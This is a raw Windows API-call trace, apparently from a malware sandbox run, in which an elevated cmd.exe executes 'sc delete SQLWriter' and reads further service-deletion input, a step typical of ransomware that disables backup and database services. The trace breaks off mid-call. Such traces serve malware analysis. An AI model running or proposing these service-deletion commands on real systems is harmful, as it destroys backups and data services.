[0075.360] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0075.360] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete SQLWriter", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete SQLWriter", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete SQLWriter", lpProcessInformation=0x1af360*(hProcess=0x50, hThread=0x54, dwProcessId=0xb2c, dwThreadId=0xb58)) returned 1 [0075.369] CloseHandle (hObject=0x54) returned 1 [0075.369] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0075.369] GetProcessHeap () returned 0x240000 [0075.369] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0075.369] GetEnvironmentStringsW () returned 0x261b10* [0075.369] GetProcessHeap () returned 0x240000 [0075.369] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0075.369] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0075.369] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0075.369] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdd000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0075.369] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0075.572] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0075.572] CloseHandle (hObject=0x50) returned 1 [0075.572] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0075.572] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0075.572] GetProcessHeap () returned 0x240000 [0075.572] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0075.572] GetEnvironmentStringsW () returned 0x261b10* [0075.572] GetProcessHeap () returned 0x240000 [0075.572] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0075.572] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0075.572] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0075.572] GetProcessHeap () returned 0x240000 [0075.572] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0075.572] GetEnvironmentStringsW () returned 0x261b10* [0075.572] GetProcessHeap () returned 0x240000 [0075.572] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0075.572] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0075.572] GetProcessHeap () returned 0x240000 [0075.572] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0075.573] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0075.573] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0075.573] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.573] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0075.573] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.573] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0075.574] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.574] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0075.574] GetConsoleOutputCP () returned 0x1b5 [0075.574] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0075.574] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0075.574] GetProcessHeap () returned 0x240000 [0075.574] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0075.574] GetProcessHeap () returned 0x240000 [0075.574] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0075.574] GetProcessHeap () returned 0x240000 [0075.574] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0075.574] GetProcessHeap () returned 0x240000 [0075.575] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c5b0 | out: hHeap=0x240000) returned 1 [0075.575] GetProcessHeap () returned 0x240000 [0075.575] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa40 | out: hHeap=0x240000) returned 1 [0075.575] GetProcessHeap () returned 0x240000 [0075.575] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0075.575] GetProcessHeap () returned 0x240000 [0075.575] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0075.575] GetProcessHeap () returned 0x240000 [0075.575] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0075.575] GetProcessHeap () returned 0x240000 [0075.575] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0075.575] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0075.575] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.575] GetFileType (hFile=0x120) returned 0x3 [0075.575] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.575] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0075.575] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0075.575] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0075.575] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0075.575] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0075.576] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0075.576] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.576] GetFileType (hFile=0x120) returned 0x3 [0075.576] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.576] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0075.576] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0075.576] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.576] GetFileType (hFile=0xb8) returned 0x3 [0075.576] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.576] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.576] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.576] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete SQLWriter\nTRY130\ne\n") returned 1 [0075.576] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.576] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.576] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.576] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete SQLWriter\nTRY130\ne\n") returned 1 [0075.576] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.577] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.577] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.577] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete SQLWriter\nTRY130\ne\n") returned 1 [0075.577] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.577] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.577] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.577] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete SQLWriter\nTRY130\ne\n") returned 1 [0075.577] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.577] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.577] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.577] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete SQLWriter\nTRY130\ne\n") returned 1 [0075.577] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.577] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.577] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.577] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete SQLWriter\nTRY130\ne\n") returned 1 [0075.577] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.577] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.577] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.577] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete SQLWriter\nTRY130\ne\n") returned 1 [0075.578] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.578] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.578] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.578] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te SQLWriter\nTRY130\ne\n") returned 1 [0075.578] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.578] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.578] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.578] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e SQLWriter\nTRY130\ne\n") returned 1 [0075.578] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.578] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.578] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.578] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" SQLWriter\nTRY130\ne\n") returned 1 [0075.578] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.578] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.578] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.578] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="\"QLWriter\nTRY130\ne\n") returned 1 [0075.578] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.578] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.578] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.578] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="MLWriter\nTRY130\ne\n") returned 1 [0075.579] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.579] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.579] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.579] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="SWriter\nTRY130\ne\n") returned 1 [0075.579] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.579] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.579] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.579] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="Sriter\nTRY130\ne\n") returned 1 [0075.579] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.579] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.579] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.579] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="Qiter\nTRY130\ne\n") returned 1 [0075.579] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.579] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.579] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.579] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="Lter\nTRY130\ne\n") returned 1 [0075.579] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.579] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.579] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.580] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="$er\nTRY130\ne\n") returned 1 [0075.580] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.580] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.580] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.580] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="Vr\nTRY130\ne\n") returned 1 [0075.580] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.580] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.580] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.580] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="E\nTRY130\ne\n") returned 1 [0075.580] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.580] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.580] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.580] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="ETRY130\ne\n") returned 1 [0075.580] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.580] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.580] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.580] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="ARY130\ne\n") returned 1 [0075.580] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.580] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.580] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.580] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="MY130\ne\n") returned 1 [0075.581] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.581] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.581] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.581] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="S130\ne\n") returned 1 [0075.581] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.581] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.581] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.581] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="Q30\ne\n") returned 1 [0075.581] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.581] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.581] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.581] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e350, cchWideChar=1 | out: lpWideCharStr="L0\ne\n") returned 1 [0075.581] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.581] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.581] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.581] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, 